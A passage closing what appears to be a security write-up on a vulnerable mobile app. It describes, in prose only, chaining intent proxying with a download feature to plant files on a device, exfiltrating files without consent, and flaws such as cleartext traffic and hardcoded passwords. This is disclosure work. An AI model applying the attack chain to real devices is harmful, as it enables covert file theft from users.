We can then chain the intent proxying with download feature to download the file to the device without his knowledge or consent.

alt text
Attack Schema

Conclusion

This article shows how multiple vulnerabilities can be chained together to exploit a mobile application remotely. Files can be exfiltrated from the device as inserted without his knowledge or consent.

We also have several security shortcomings, from cleartext traffic to hardcoded passwords and insecure encryption algorithms.

The alarming aspect is how such vulnerable applications can reach many users while showing carelessness to their user's security and privacy.